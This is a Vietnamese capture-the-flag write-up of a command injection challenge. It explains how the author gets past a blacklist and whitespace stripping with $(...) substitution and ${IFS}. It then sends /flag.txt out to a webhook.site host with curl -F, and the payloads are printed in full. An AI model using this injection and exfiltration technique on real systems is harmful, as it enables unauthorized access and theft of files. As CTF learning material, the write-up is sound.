CookieCTF - The Existed File
Description
Link challenge tại đây
Step
Đây là giao diện chính của challenge.
Thử nhập /flag.txt
vẫn không có thay đổi gì. Ta thử nhập cat /flag.txt
xem có xem được flag
không nhưng lại hiện ra thông báo Blacklist characters detected!
.
Kiểm tra soucre code
có thể thấy luồng hoạt động của server.
Đoạn code này loại bỏ khoảng trắng của input
người dùng nhập vào. Nó sử dụng phương thức translate()
của lớp string
để thay thế tất cả các ký tự khoảng trắng bằng giá trị None
.
Sau đó sẽ sử dung hàm is_blacklisted
để kiểm tra input
có nằm trong blacklist hay không.
Có thể thấy blacklist
đã loại bỏ hầu hết các câu lệnh giúp ta đọc được file flag
, tuy nhiên anh dev có lẽ đã quên mất filter
1 cái nữa đó là $(command)
. Câu lệnh này tương đương với sử dụng dấu backstick
.
Quay lại challenge thử chạy luôn nhưng nó vẫn không xuất được nội dung
Tới đây ta để ý blacklist
không lọc lệnh curl
nên ta có thể gửi file flag
qua host khác để đọc bằng option -F
.
Ở đây mình sử dụng webhook.site
để làm host nhận file.
Payload: curl -F @/flag.txt https://webhook.site/407cb1c3-4316-4cb8-8b9c-4ece7abf8d11
Nhưng vẫn còn hàm translate()
loại bỏ khoảng trắng của input
. Search gg một lúc thì mình tìm được cái này:
Có thể sử dụng ${IFS}
để thay thế các ký tự <space>
<tab>
<newline>
.
Payload: $(curl${IFS}-F${IFS}file=@/flag.txt${IFS}https://webhook.site/407cb1c3-4316-4cb8-8b9c-4ece7abf8d11)
Tải file flag.txt
về ta được flag:
CHH{os_c0mManD_INj3cTi0N_bypa5S_FIL7Er_b1f4b3371b6a365f47334d3ec07a8d0e}